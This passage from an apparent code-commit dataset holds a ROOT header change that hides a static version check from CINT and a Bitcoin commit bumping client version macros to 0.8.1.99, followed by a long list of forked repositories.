\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#ifndef ROOT_RVersion\n#include \"RVersion.h\"\n#endif\n\nclass TVersionCheck {\npublic:\n   TVersionCheck(int versionCode);  \/\/ implemented in TSystem.cxx\n};\n\nstatic TVersionCheck gVersionCheck(ROOT_VERSION_CODE);\n\n#endif\n","new_contents":"\/\/ @(#)root\/base:$Name:  $:$Id: TVersionCheck.h,v 1.3 2007\/05\/10 18:16:58 rdm Exp $\n\/\/ Author: Fons Rademakers   9\/5\/2007\n\n\/*************************************************************************\n * Copyright (C) 1995-2007, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#ifndef ROOT_TVersionCheck\n#define ROOT_TVersionCheck\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/                                                                      \/\/\n\/\/ TVersionCheck                                                        \/\/\n\/\/                                                                      \/\/\n\/\/ Used to check if the shared library or plugin is compatible with     \/\/\n\/\/ the current version of ROOT.                                         \/\/\n\/\/                                                                      \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#ifndef ROOT_RVersion\n#include \"RVersion.h\"\n#endif\n\nclass TVersionCheck {\npublic:\n   TVersionCheck(int versionCode);  \/\/ implemented in TSystem.cxx\n};\n\n#ifndef __CINT__\nstatic TVersionCheck gVersionCheck(ROOT_VERSION_CODE);\n#endif\n\n#endif\n","subject":"Hide a static function to CINT. With this fix g4root compiles OK.","message":"Hide a static function to CINT. With this fix g4root compiles OK.\n\n\ngit-svn-id: ecbadac9c76e8cf640a0bca86f6bd796c98521e3@18737 27541ba8-7e3a-0410-8455-c3a389f83636\n","lang":"C","license":"lgpl-2.1","repos":"dawehner\/root,dawehner\/root,bbannier\/ROOT,bbannier\/ROOT,dawehner\/root,dawehner\/root,bbannier\/ROOT,dawehner\/root,bbannier\/ROOT,dawehner\/root,dawehner\/root,dawehner\/root,bbannier\/ROOT,bbannier\/ROOT,bbannier\/ROOT"}
{"commit":"2b34779ae26edabbb46f4cdaa32375b6166ced66","old_file":"src\/clientversion.h","new_file":"src\/clientversion.h","old_contents":"#ifndef CLIENTVERSION_H\n#define CLIENTVERSION_H\n\n\/\/\n\/\/ client versioning\n\/\/\n\n\/\/ These need to be macros, as version.cpp's and bitcoin-qt.rc's voodoo requires it\n#define CLIENT_VERSION_MAJOR       0\n#define CLIENT_VERSION_MINOR       8\n#define CLIENT_VERSION_REVISION    0\n#define CLIENT_VERSION_BUILD       0\n\n\/\/ Set to true for release, false for prerelease or test build\n#define CLIENT_VERSION_IS_RELEASE  true\n\n\/\/ Converts the parameter X to a string after macro replacement on X has been performed.\n\/\/ Don't merge these into one macro!\n#define STRINGIZE(X) DO_STRINGIZE(X)\n#define DO_STRINGIZE(X) #X\n\n#endif \/\/ CLIENTVERSION_H\n","new_contents":"#ifndef CLIENTVERSION_H\n#define CLIENTVERSION_H\n\n\/\/\n\/\/ client versioning\n\/\/\n\n\/\/ These need to be macros, as version.cpp's and bitcoin-qt.rc's voodoo requires it\n#define CLIENT_VERSION_MAJOR       0\n#define CLIENT_VERSION_MINOR       8\n#define CLIENT_VERSION_REVISION    1\n#define CLIENT_VERSION_BUILD       99\n\n\/\/ Set to true for release, false for prerelease or test build\n#define CLIENT_VERSION_IS_RELEASE  false\n\n\/\/ Converts the parameter X to a string after macro replacement on X has been performed.\n\/\/ Don't merge these into one macro!\n#define STRINGIZE(X) DO_STRINGIZE(X)\n#define DO_STRINGIZE(X) #X\n\n#endif \/\/ CLIENTVERSION_H\n","subject":"Switch version numbers to 0.8.1.99","message":"Switch version numbers to 0.8.1.99\n","lang":"C","license":"mit","repos":"prark\/bitcoinxt,Friedbaumer\/litecoin,torresalyssa\/bitcoin,pinkevich\/dash,magacoin\/magacoin,bitbrazilcoin-project\/bitbrazilcoin,bcpki\/nonce2,phelix\/namecore,magacoin\/magacoin,rsdevgun16e\/energi,emc2foundation\/einsteinium,irvingruan\/bitcoin,webdesignll\/coin,elliotolds\/bitcoin,simonmulser\/bitcoin,5mil\/Tradecoin,ZiftrCOIN\/ziftrcoin,haraldh\/bitcoin,sbaks0820\/bitcoin,zenywallet\/bitzeny,UASF\/bitcoin,GlobalBoost\/GlobalBoost,cddjr\/BitcoinUnlimited,cinnamoncoin\/groupcoin-1,blocktrail\/bitcoin,NateBrune\/bitcoin-nate,okinc\/litecoin,shouhuas\/bitcoin,vbernabe\/freicoin,cryptcoins\/cryptcoin,applecoin-official\/applecoin,particl\/particl-core,ixcoinofficialpage\/master,isocolsky\/bitcoinxt,itmanagerro\/tresting,bdelzell\/creditcoin-org-creditcoin,Alonzo-Coeus\/bitcoin,Xekyo\/bitcoin,sifcoin\/sifcoin,dan-mi-sun\/bitcoin,Rav3nPL\/PLNcoin,coinkeeper\/2015-06-22_19-00_ziftrcoin,WorldLeadCurrency\/WLC,BTCfork\/hardfork_prototype_1_mvf-bu,Metronotes\/bitcoin,se3000\/bitcoin,ClusterCoin\/ClusterCoin,meighti\/bitcoin,markf78\/dollarcoin,FeatherCoin\/Feathercoin,applecoin-official\/fellatio,Horrorcoin\/horrorcoin,domob1812\/i0coin,sugruedes\/bitcoin,inkvisit\/sarmacoins,paveljanik\/bitcoin,shapiroisme\/datadollar,maaku\/bitcoin,Enticed87\/Decipher,ohac\/sakuracoin,botland\/bitcoin,bcpki\/nonce2testblocks,florincoin\/florincoin,Anoncoin\/anoncoin,coinkeeper\/2015-06-22_19-13_florincoin,nathaniel-mahieu\/bitcoin,bitcoinknots\/bitcoin,jambolo\/bitcoin,hasanatkazmi\/bitcoin,bdelzell\/creditcoin-org-creditcoin,digibyte\/digibyte,ingresscoin\/ingresscoin,benma\/bitcoin,EthanHeilman\/bitcoin,Rav3nPL\/doubloons-08,arruah\/ensocoin,dashpay\/dash,cinnamoncoin\/Feathercoin,h4x3rotab\/BTCGPU,dobbscoin\/dobbscoin-source,crowning-\/dash,reddcoin-project\/reddcoin,jl2012\/litecoin,deadalnix\/bitcoin,awemany\/BitcoinUnlimited,coinkeeper\/2015-06-22_18-52_viacoin,collapsedev\/circlecash,jgarzik\/bitcoin,faircoin\/faircoin2,KaSt\/ekwicoin,irvingruan\/bitcoin,xuyangcn\/opalcoin,RongxinZhang\/bitcoinxt,ftrader-bitcoinabc\/bitcoin-abc,metrocoins\/metrocoin,cannabiscoindev\/cannabiscoin420,zzkt\/solarcoin,mikehearn\/bitcoinxt,XX-net\/twister-core,NateBrune\/bitcoin-fio,digibyte\/digibyte,jmgilbert2\/energi,micryon\/GPUcoin,bittylicious\/bitcoin,apoelstra\/elements,Theshadow4all\/ShadowCoin,dgarage\/bc3,DMDcoin\/Diamond,schinzelh\/dash,cryptcoins\/cryptcoin,braydonf\/bitcoin,wangxinxi\/litecoin,wellenreiter01\/Feathercoin,particl\/particl-core,ShwoognationHQ\/bitcoin,Friedbaumer\/litecoin,aburan28\/elements,okinc\/bitcoin,ripper234\/bitcoin,simdeveloper\/bitcoin,pouta\/bitcoin,MazaCoin\/mazacoin-new,syscoin\/syscoin,gjhiggins\/fuguecoin,pinheadmz\/bitcoin,pataquets\/namecoin-core,dexX7\/mastercore,h4x3rotab\/BTCGPU,guncoin\/guncoin,nigeriacoin\/nigeriacoin,presstab\/PIVX,CrimeaCoin\/crimeacoin,ryanofsky\/bitcoin,phplaboratory\/psiacoin,BitzenyCoreDevelopers\/bitzeny,memorycoin\/memorycoin,prark\/bitcoinxt,ArgonToken\/ArgonToken,and2099\/twister-core,BitcoinUnlimited\/BitcoinUnlimited,thrasher-\/litecoin,kryptokredyt\/ProjektZespolowyCoin,qreatora\/worldcoin-v0.8,m0gliE\/fastcoin-cli,ticclassic\/ic,GroestlCoin\/bitcoin,degenorate\/Deftcoin,vertcoin\/eyeglass,united-scrypt-coin-project\/unitedscryptcoin,ctwiz\/stardust,funkshelper\/woodcore,antcheck\/antcoin,mastercoin-MSC\/mastercore,ekankyesme\/bitcoinxt,meighti\/bitcoin,axelxod\/braincoin,jeromewu\/bitcoin-opennet,mycointest\/owncoin,vcoin-project\/vcoin0.8zeta-dev,jimmysong\/bitcoin,brishtiteveja\/truthcoin-cpp,ronpaulcoin\/ronpaulcoin,arruah\/ensocoin,goldcoin\/Goldcoin-GLD,aspirecoin\/aspire,rat4\/bitcoin,truthcoin\/blocksize-market,hyperwang\/bitcoin,funkshelper\/woodcore,benzmuircroft\/REWIRE.io,peerdb\/cors,awemany\/BitcoinUnlimited,shaolinfry\/litecoin,inkvisit\/sarmacoins,hsavit1\/bitcoin,coinkeeper\/2015-06-22_18-39_feathercoin,llluiop\/bitcoin,oleganza\/bitcoin-duo,bcpki\/nonce2testblocks,mb300sd\/bitcoin,ahmedbodi\/vertcoin,segwit\/atbcoin-insight,particl\/particl-core,GwangJin\/gwangmoney-core,shaolinfry\/litecoin,rat4\/bitcoin,bdelzell\/creditcoin-org-creditcoin,shelvenzhou\/BTCGPU,Rav3nPL\/bitcoin,DogTagRecon\/Still-Leraning,Dinarcoin\/dinarcoin,nbenoit\/bitcoin,dobbscoin\/dobbscoin-source,cmgustavo\/bitcoin,cryptohelper\/premine,goldcoin\/goldcoin,cdecker\/bitcoin,vmp32k\/litecoin,petertodd\/bitcoin,pelorusjack\/BlockDX,MazaCoin\/mazacoin-new,LIMXTEC\/DMDv3,bitcoin\/bitcoin,wbchen99\/bitcoin-hnote0,droark\/elements,digibyte\/digibyte,stevemyers\/bitcoinxt,Mrs-X\/Darknet,stevemyers\/bitcoinxt,misdess\/bitcoin,cqtenq\/Feathercoin,andres-root\/bitcoinxt,nlgcoin\/guldencoin-official,dogecoin\/dogecoin,namecoin\/namecoin-core,coinkeeper\/2015-06-22_18-31_bitcoin,zander\/bitcoinclassic,npccoin\/npccoin,DigitalPandacoin\/pandacoin,XertroV\/bitcoin-nulldata,jmgilbert2\/energi,coinkeeper\/2015-04-19_21-20_litecoindark,odemolliens\/bitcoinxt,cannabiscoindev\/cannabiscoin420,bittylicious\/bitcoin,haisee\/dogecoin,gavinandresen\/bitcoin-git,axelxod\/braincoin,SartoNess\/BitcoinUnlimited,marlengit\/BitcoinUnlimited,monacoinproject\/monacoin,skaht\/bitcoin,arnuschky\/bitcoin,kevcooper\/bitcoin,cyrixhero\/bitcoin,mobicoins\/mobicoin-core,iQcoin\/iQcoin,GroestlCoin\/GroestlCoin,JeremyRand\/namecore,gjhiggins\/vcoin09,kirkalx\/bitcoin,marlengit\/hardfork_prototype_1_mvf-bu,bitcoinxt\/bitcoinxt,janko33bd\/bitcoin,andres-root\/bitcoinxt,pascalguru\/florincoin,marlengit\/BitcoinUnlimited,Kenwhite23\/litecoin,octocoin-project\/octocoin,theuni\/bitcoin,Bushstar\/UFO-Project,supcoin\/supcoin,alexandrcoin\/vertcoin,BitcoinHardfork\/bitcoin,scippio\/bitcoin,XertroV\/bitcoin-nulldata,renatolage\/wallets-BRCoin,UASF\/bitcoin,markf78\/dollarcoin,NateBrune\/bitcoin-nate,tensaix2j\/bananacoin,Chancoin-core\/CHANCOIN,DogTagRecon\/Still-Leraning,droark\/bitcoin,nvmd\/bitcoin,nsacoin\/nsacoin,willwray\/dash,dgarage\/bc3,vmp32k\/litecoin,dgarage\/bc3,raasakh\/bardcoin,digideskio\/namecoin,rsdevgun16e\/energi,jameshilliard\/bitcoin,likecoin-dev\/bitcoin,qtumproject\/qtum,willwray\/dash,pascalguru\/florincoin,coinkeeper\/2015-06-22_18-51_vertcoin,richo\/dongcoin,namecoin\/namecoin-core,nlgcoin\/guldencoin-official,jonasschnelli\/bitcoin,fanquake\/bitcoin,laudaa\/bitcoin,ionux\/freicoin,Bushstar\/UFO-Project,GroundRod\/anoncoin,cinnamoncoin\/groupcoin-1,wbchen99\/bitcoin-hnote0,litecoin-project\/litecore-litecoin,Jcing95\/iop-hd,achow101\/bitcoin,icook\/vertcoin,llamasoft\/ProtoShares_Cycle,SocialCryptoCoin\/SocialCoin,okinc\/bitcoin,BTCfork\/hardfork_prototype_1_mvf-core,madman5844\/poundkoin,majestrate\/twister-core,2XL\/bitcoin,vmp32k\/litecoin,ghostlander\/Feathercoin,Czarcoin\/czarcoin,syscoin\/syscoin2,dcousens\/bitcoin,bitcoinsSG\/zcash,scippio\/bitcoin,TripleSpeeder\/bitcoin,2XL\/bitcoin,Kenwhite23\/litecoin,koharjidan\/litecoin,coinkeeper\/2015-04-19_21-20_litecoindark,Jcing95\/iop-hd,benzmuircroft\/REWIRE.io,Rav3nPL\/PLNcoin,r8921039\/bitcoin,rdqw\/sscoin,core-bitcoin\/bitcoin,senadmd\/coinmarketwatch,FarhanHaque\/bitcoin,inutoshi\/inutoshi,RongxinZhang\/bitcoinxt,uphold\/bitcoin,Czarcoin\/czarcoin,ccoin-project\/ccoin,lateminer\/bitcoin,jimblasko\/2015_UNB_Wallets,oklink-dev\/bitcoin_block,CoinProjects\/AmsterdamCoin-v4,FinalHashLLC\/namecore,upgradeadvice\/MUE-Src,puticcoin\/putic,Cocosoft\/bitcoin,psionin\/smartcoin,hyperwang\/bitcoin,slingcoin\/sling-market,imharrywu\/fastcoin,SocialCryptoCoin\/SocialCoin,haisee\/dogecoin,zander\/bitcoinclassic,ElementsProject\/elements,thrasher-\/litecoin,shapiroisme\/datadollar,butterflypay\/bitcoin,phelix\/namecore,rromanchuk\/bitcoinxt,tjth\/lotterycoin,collapsedev\/cashwatt,bitcoinxt\/bitcoinxt,XX-net\/twister-core,bickojima\/bitzeny,ticclassic\/ic,gzuser01\/zetacoin-bitcoin,JeremyRand\/bitcoin,Mrs-X\/Darknet,Domer85\/dogecoin,diggcoin\/diggcoin,maaku\/bitcoin,plncoin\/PLNcoin_Core,gandrewstone\/BitcoinUnlimited,coinkeeper\/anoncoin_20150330_fixes,21E14\/bitcoin,dmrtsvetkov\/flowercoin,OstlerDev\/florincoin,nomnombtc\/bitcoin,torresalyssa\/bitcoin,joshrabinowitz\/bitcoin,vertcoin\/vertcoin,goldcoin\/goldcoin,rjshaver\/bitcoin,jonasschnelli\/bitcoin,gjhiggins\/vcoin09,kallewoof\/bitcoin,metacoin\/florincoin,memorycoin\/memorycoin,koharjidan\/bitcoin,bcpki\/testblocks,cryptodev35\/icash,misdess\/bitcoin,gjhiggins\/vcoincore,greencoin-dev\/digitalcoin,globaltoken\/globaltoken,wtogami\/bitcoin,gwillen\/elements,dgarage\/bc2,Cancercoin\/Cancercoin,DGCDev\/argentum,unsystemizer\/bitcoin,sstone\/bitcoin,pinkevich\/dash,martindale\/elements,practicalswift\/bitcoin,marscoin\/marscoin,jameshilliard\/bitcoin,greencoin-dev\/greencoin-dev,marscoin\/marscoin,keisercoin-official\/keisercoin,putinclassic\/putic,willwray\/dash,plncoin\/PLNcoin_Core,ColossusCoinXT\/ColossusCoinXT,stamhe\/bitcoin,EthanHeilman\/bitcoin,shapiroisme\/datadollar,tjps\/bitcoin,lakepay\/lake,imharrywu\/fastcoin,tensaix2j\/bananacoin,kaostao\/bitcoin,mrtexaznl\/mediterraneancoin,fullcoins\/fullcoin,brishtiteveja\/sherlockcoin,capitalDIGI\/litecoin,WorldLeadCurrency\/WLC,ingresscoin\/ingresscoin,ppcoin\/ppcoin,coinkeeper\/2015-06-22_18-56_megacoin,LIMXTEC\/DMDv3,jeromewu\/bitcoin-opennet,saydulk\/Feathercoin,shelvenzhou\/BTCGPU,gazbert\/bitcoin,litecoin-project\/litecoin,rnicoll\/bitcoin,welshjf\/bitcoin,tecnovert\/particl-core,nailtaras\/nailcoin,Chancoin-core\/CHANCOIN,xawksow\/GroestlCoin,wtogami\/bitcoin,cannabiscoindev\/cannabiscoin420,AkioNak\/bitcoin,Enticed87\/Decipher,lbrtcoin\/albertcoin,TripleSpeeder\/bitcoin,KibiCoin\/kibicoin,cybermatatu\/bitcoin,fedoracoin-dev\/fedoracoin,npccoin\/npccoin,Exgibichi\/statusquo,vertcoin\/vertcoin,ericshawlinux\/bitcoin,MikeAmy\/bitcoin,knolza\/gamblr,oklink-dev\/bitcoin_block,Sjors\/bitcoin,namecoin\/namecoin-core,nmarley\/dash,ardsu\/bitcoin,untrustbank\/litecoin,deadalnix\/bitcoin,jl2012\/litecoin,FarhanHaque\/bitcoin,AdrianaDinca\/bitcoin,segsignal\/bitcoin,magacoin\/magacoin,wiggi\/huntercore,btc1\/bitcoin,myriadteam\/myriadcoin,bickojima\/bitzeny,sugruedes\/bitcoin,nsacoin\/nsacoin,aspirecoin\/aspire,Jcing95\/iop-hd,bootycoin-project\/bootycoin,enlighter\/Feathercoin,greencoin-dev\/digitalcoin,zixan\/bitcoin,Checkcoin\/checkcoin,GreenParhelia\/bitcoin,freelion93\/mtucicoin,Adaryian\/E-Currency,manuel-zulian\/accumunet,parvez3019\/bitcoin,ravenbyron\/phtevencoin,tripmode\/pxlcoin,mincoin-project\/mincoin,Rav3nPL\/doubloons-08,bittylicious\/bitcoin,PIVX-Project\/PIVX,jimblasko\/2015_UNB_Wallets,hophacker\/bitcoin_malleability,RongxinZhang\/bitcoinxt,funkshelper\/woodcoin-b,1185\/starwels,sirk390\/bitcoin,domob1812\/huntercore,jonghyeopkim\/bitcoinxt,OstlerDev\/florincoin,koharjidan\/dogecoin,accraze\/bitcoin,brishtiteveja\/sherlockcoin,daliwangi\/bitcoin,xuyangcn\/opalcoin,coinkeeper\/2015-06-22_19-07_digitalcoin,robvanbentem\/bitcoin,nbenoit\/bitcoin,millennial83\/bitcoin,NateBrune\/bitcoin-nate,BigBlueCeiling\/augmentacoin,benzmuircroft\/REWIRE.io,coinkeeper\/2015-06-22_18-41_ixcoin,osuyuushi\/laughingmancoin,BitzenyCoreDevelopers\/bitzeny,gjhiggins\/vcoin0.8zeta-dev,worldbit\/worldbit,pstratem\/bitcoin,SoreGums\/bitcoinxt,simonmulser\/bitcoin,bitcoinec\/bitcoinec,jimmykiselak\/lbrycrd,syscoin\/syscoin2,elecoin\/elecoin,goldcoin\/Goldcoin-GLD,robvanbentem\/bitcoin,mooncoin-project\/mooncoin-landann,ryanofsky\/bitcoin,TGDiamond\/Diamond,karek314\/bitcoin,dev1972\/Satellitecoin,wangxinxi\/litecoin,BTCfork\/hardfork_prototype_1_mvf-bu,ludbb\/bitcoin,dev1972\/Satellitecoin,andreaskern\/bitcoin,mapineda\/litecoin,ftrader-bitcoinunlimited\/hardfork_prototype_1_mvf-bu,DGCDev\/argentum,qtumproject\/qtum,gameunits\/gameunits,Climbee\/artcoin,aspirecoin\/aspire,balajinandhu\/bitcoin,knolza\/gamblr,Czarcoin\/czarcoin,greenaddress\/bitcoin,tuaris\/bitcoin,gjhiggins\/fuguecoin,Bitcoin-ABC\/bitcoin-abc,sbellem\/bitcoin,habibmasuro\/bitcoin,OmniLayer\/omnicore,oklink-dev\/bitcoin,aburan28\/elements,janko33bd\/bitcoin,vbernabe\/freicoin,joroob\/reddcoin,isle2983\/bitcoin,40thoughts\/Coin-QualCoin,ctwiz\/stardust,ddombrowsky\/radioshares,n1bor\/bitcoin,sebrandon1\/bitcoin,jimmykiselak\/lbrycrd,vbernabe\/freicoin,slingcoin\/sling-market,dannyperez\/bolivarcoin,ctwiz\/stardust,xeddmc\/twister-core,parvez3019\/bitcoin,schildbach\/bitcoin,bitpagar\/bitpagar,ctwiz\/stardust,pstratem\/elements,jnewbery\/bitcoin,lbrtcoin\/albertcoin,truthcoin\/truthcoin-cpp,Friedbaumer\/litecoin,StarbuckBG\/BTCGPU,ClusterCoin\/ClusterCoin,florincoin\/florincoin,patricklodder\/dogecoin,shaulkf\/bitcoin,bitcoinsSG\/bitcoin,genavarov\/ladacoin,grumpydevelop\/singularity,FinalHashLLC\/namecore,Bitcoin-ABC\/bitcoin-abc,nigeriacoin\/nigeriacoin,EntropyFactory\/creativechain-core,ryanxcharles\/bitcoin,sickpig\/BitcoinUnlimited,mikehearn\/bitcoinxt,jonasnick\/bitcoin,elecoin\/elecoin,mapineda\/litecoin,Har01d\/bitcoin,bitcoinclassic\/bitcoinclassic,jarymoth\/dogecoin,ptschip\/bitcoinxt,benosa\/bitcoin,MazaCoin\/maza,BTCfork\/hardfork_prototype_1_mvf-bu,Bitcoin-com\/BUcash,MasterX1582\/bitcoin-becoin,Krellan\/bitcoin,dgarage\/bc2,globaltoken\/globaltoken,xawksow\/GroestlCoin,pouta\/bitcoin,keesdewit82\/LasVegasCoin,roques\/bitcoin,paveljanik\/bitcoin,coinkeeper\/2015-06-22_19-19_worldcoin,TierNolan\/bitcoin,habibmasuro\/bitcoinxt,nmarley\/dash,zemrys\/vertcoin,pastday\/bitcoinproject,haobtc\/bitcoin,ohac\/sakuracoin,JeremyRand\/namecore,BigBlueCeiling\/augmentacoin,CoinProjects\/AmsterdamCoin-v4,OmniLayer\/omnicore,Ziftr\/litecoin,phelix\/namecore,x-kalux\/bitcoin_WiG-B,xeddmc\/twister-core,r8921039\/bitcoin,daliwangi\/bitcoin,BTCDDev\/bitcoin,multicoins\/marycoin,applecoin-official\/fellatio,Erkan-Yilmaz\/twister-core,bitcoinsSG\/zcash,174high\/bitcoin,keesdewit82\/LasVegasCoin,putinclassic\/putic,dgarage\/bc2,razor-coin\/razor,simonmulser\/bitcoin,PIVX-Project\/PIVX,coinkeeper\/megacoin_20150410_fixes,sugruedes\/bitcoinxt,goldcoin\/goldcoin,bitcoinknots\/bitcoin,dan-mi-sun\/bitcoin,okinc\/litecoin,peacedevelop\/peacecoin,bitgoldcoin-project\/bitgoldcoin,webdesignll\/coin,joulecoin\/joulecoin,coinkeeper\/2015-06-22_18-37_dogecoin,kevcooper\/bitcoin,jimmykiselak\/lbrycrd,dogecoin\/dogecoin,reddink\/reddcoin,tmagik\/catcoin,Alex-van-der-Peet\/bitcoin,enlighter\/Feathercoin,ctwiz\/stardust,koharjidan\/bitcoin,npccoin\/npccoin,Cocosoft\/bitcoin,yenliangl\/bitcoin,marcusdiaz\/BitcoinUnlimited,practicalswift\/bitcoin,scippio\/bitcoin,aburan28\/elements,wiggi\/huntercore,syscoin\/syscoin,jimmysong\/bitcoin,habibmasuro\/bitcoinxt,paveljanik\/bitcoin,dashpay\/dash,zenywallet\/bitzeny,xeddmc\/twister-core,iosdevzone\/bitcoin,emc2foundation\/einsteinium,ahmedbodi\/vertcoin,parvez3019\/bitcoin,matlongsi\/micropay,borgcoin\/Borgcoin.rar,wbchen99\/bitcoin-hnote0,ddombrowsky\/radioshares,jiffe\/cosinecoin,coinkeeper\/megacoin_20150410_fixes,CrimeaCoin\/crimeacoin,ShwoognationHQ\/bitcoin,coinkeeper\/2015-06-22_18-36_darkcoin,ericshawlinux\/bitcoin,xeddmc\/twister-core,ZiftrCOIN\/ziftrcoin,arruah\/ensocoin,riecoin\/riecoin,kallewoof\/bitcoin,starwels\/starwels,shomeser\/bitcoin,ryanofsky\/bitcoin,TripleSpeeder\/bitcoin,zsulocal\/bitcoin,KaSt\/equikoin,Thracky\/monkeycoin,funkshelper\/woodcoin-b,freelion93\/mtucicoin,franko-org\/franko,rawodb\/bitcoin,2XL\/bitcoin,Erkan-Yilmaz\/twister-core,constantine001\/bitcoin,TierNolan\/bitcoin,robvanbentem\/bitcoin,fujicoin\/fujicoin,haisee\/dogecoin,osuyuushi\/laughingmancoin,hg5fm\/nexuscoin,RHavar\/bitcoin,multicoins\/marycoin,xieta\/mincoin,CryptArc\/bitcoinxt,MikeAmy\/bitcoin,mooncoin-project\/mooncoin-landann,RongxinZhang\/bitcoinxt,Krellan\/bitcoin,neuroidss\/bitcoin,CryptArc\/bitcoinxt,rawodb\/bitcoin,bespike\/litecoin,Har01d\/bitcoin,randy-waterhouse\/bitcoin,dan-mi-sun\/bitcoin,RazorLove\/cloaked-octo-spice,MazaCoin\/maza,xurantju\/bitcoin,cheehieu\/bitcoin,Lucky7Studio\/bitcoin,Justaphf\/BitcoinUnlimited,ajweiss\/bitcoin,coinkeeper\/2015-06-22_18-56_megacoin,szlaozhu\/twister-core,richo\/dongcoin,jimblasko\/UnbreakableCoin-master,blocktrail\/bitcoin,drwasho\/bitcoinxt,welshjf\/bitcoin,iosdevzone\/bitcoin,jrick\/bitcoin,funkshelper\/woodcoin-b,TBoehm\/greedynode,randy-waterhouse\/bitcoin,nsacoin\/nsacoin,andres-root\/bitcoinxt,paveljanik\/bitcoin,sbaks0820\/bitcoin,zetacoin\/zetacoin,tropa\/axecoin,Carrsy\/PoundCoin,razor-coin\/razor,brishtiteveja\/truthcoin-cpp,awemany\/BitcoinUnlimited,dannyperez\/bolivarcoin,sbaks0820\/bitcoin,vlajos\/bitcoin,Coinfigli\/coinfigli,themusicgod1\/bitcoin,totallylegitbiz\/totallylegitcoin,blocktrail\/bitcoin,welshjf\/bitcoin,bitgoldcoin-project\/bitgoldcoin,inutoshi\/inutoshi,GIJensen\/bitcoin,Kore-Core\/kore,ShadowMyst\/creativechain-core,Litecoindark\/LTCD,REAP720801\/bitcoin,worldbit\/worldbit,kfitzgerald\/titcoin,florincoin\/florincoin,koharjidan\/litecoin,jonasschnelli\/bitcoin,Horrorcoin\/horrorcoin,apoelstra\/elements,nikkitan\/bitcoin,MazaCoin\/mazacoin-new,DrCrypto\/darkcoin,presstab\/PIVX,PIVX-Project\/PIVX,MazaCoin\/mazacoin-new,GroestlCoin\/bitcoin,ElementsProject\/elements,puticcoin\/putic,NicolasDorier\/bitcoin,HashUnlimited\/Einsteinium-Unlimited,bitgoldcoin-project\/bitgoldcoin,brishtiteveja\/sherlockholmescoin,digibyte\/digibyte,ftrader-bitcoinabc\/bitcoin-abc,maraoz\/proofcoin,stevemyers\/bitcoinxt,masterbraz\/dg,ptschip\/bitcoinxt,dmrtsvetkov\/flowercoin,keesdewit82\/LasVegasCoin,SoreGums\/bitcoinxt,gjhiggins\/vcoin0.8zeta-dev,zottejos\/merelcoin,sbellem\/bitcoin,tropa\/axecoin,coinkeeper\/2015-06-22_18-41_ixcoin,czr5014iph\/bitcoin4e,collapsedev\/cashwatt,Flurbos\/Flurbo,likecoin-dev\/bitcoin,atgreen\/bitcoin,taenaive\/zetacoin,credits-currency\/credits,tuaris\/bitcoin,bitcoinxt\/bitcoinxt,Tetcoin\/tetcoin,MitchellMintCoins\/AutoCoin,imharrywu\/fastcoin,faircoin\/faircoin2,ediston\/energi,genavarov\/lamacoin,ahmedbodi\/temp_vert,tuaris\/bitcoin,RazorLove\/cloaked-octo-spice,wangliu\/bitcoin,schildbach\/bitcoin,Anfauglith\/iop-hd,coinkeeper\/2015-06-22_18-37_dogecoin,ericshawlinux\/bitcoin,midnight-miner\/LasVegasCoin,TrainMAnB\/vcoincore,lateminer\/bitcoin,borgcoin\/Borgcoin.rar,Christewart\/bitcoin,Bloom-Project\/Bloom,ardsu\/bitcoin,puticcoin\/putic,amaivsimau\/bitcoin,pinkevich\/dash,Bitcoin-ABC\/bitcoin-abc,themusicgod1\/bitcoin,zemrys\/vertcoin,BitcoinUnlimited\/BitcoinUnlimited,RazorLove\/cloaked-octo-spice,mincoin-project\/mincoin,franko-org\/franko,viacoin\/viacoin,coinkeeper\/2015-06-22_18-30_anoncoin,coinkeeper\/anoncoin_20150330_fixes,degenorate\/Deftcoin,torresalyssa\/bitcoin,jonasnick\/bitcoin,tensaix2j\/bananacoin,omefire\/bitcoin,markf78\/dollarcoin,error10\/bitcoin,borgcoin\/Borgcoin1,axelxod\/braincoin,sugruedes\/bitcoin,CTRoundTable\/Encrypted.Cash,bitcoinclassic\/bitcoinclassic,NunoEdgarGub1\/elements,tjth\/lotterycoin,leofidus\/glowing-octo-ironman,Kixunil\/keynescoin,ediston\/energi,borgcoin\/Borgcoin.rar,ryanxcharles\/bitcoin,111t8e\/bitcoin,Darknet-Crypto\/Darknet,Chancoin-core\/CHANCOIN,scmorse\/bitcoin,coinkeeper\/2015-04-19_21-20_litecoindark,earthcoinproject\/earthcoin,coinkeeper\/2015-06-22_18-52_viacoin,scippio\/bitcoin,jimblasko\/UnbreakableCoin-master,hsavit1\/bitcoin,brettwittam\/geocoin,ivansib\/sib16,Litecoindark\/LTCD,qreatora\/worldcoin-v0.8,pdrobek\/Polcoin-1-3,roques\/bitcoin,deuscoin\/deuscoin,zotherstupidguy\/bitcoin,dmrtsvetkov\/flowercoin,cinnamoncoin\/Feathercoin,zebrains\/Blotter,bitpay\/bitcoin,TrainMAnB\/vcoincore,rnicoll\/dogecoin,globaltoken\/globaltoken,jlopp\/statoshi,vertcoin\/eyeglass,collapsedev\/cashwatt,kazcw\/bitcoin,ronpaulcoin\/ronpaulcoin,stamhe\/bitcoin,GroestlCoin\/GroestlCoin,PRabahy\/bitcoin,coinkeeper\/2015-06-22_19-07_digitalcoin,Vector2000\/bitcoin,sugruedes\/bitcoin,funbucks\/notbitcoinxt,shea256\/bitcoin,cannabiscoindev\/cannabiscoin420,truthcoin\/blocksize-market,bitbrazilcoin-project\/bitbrazilcoin,KillerByte\/memory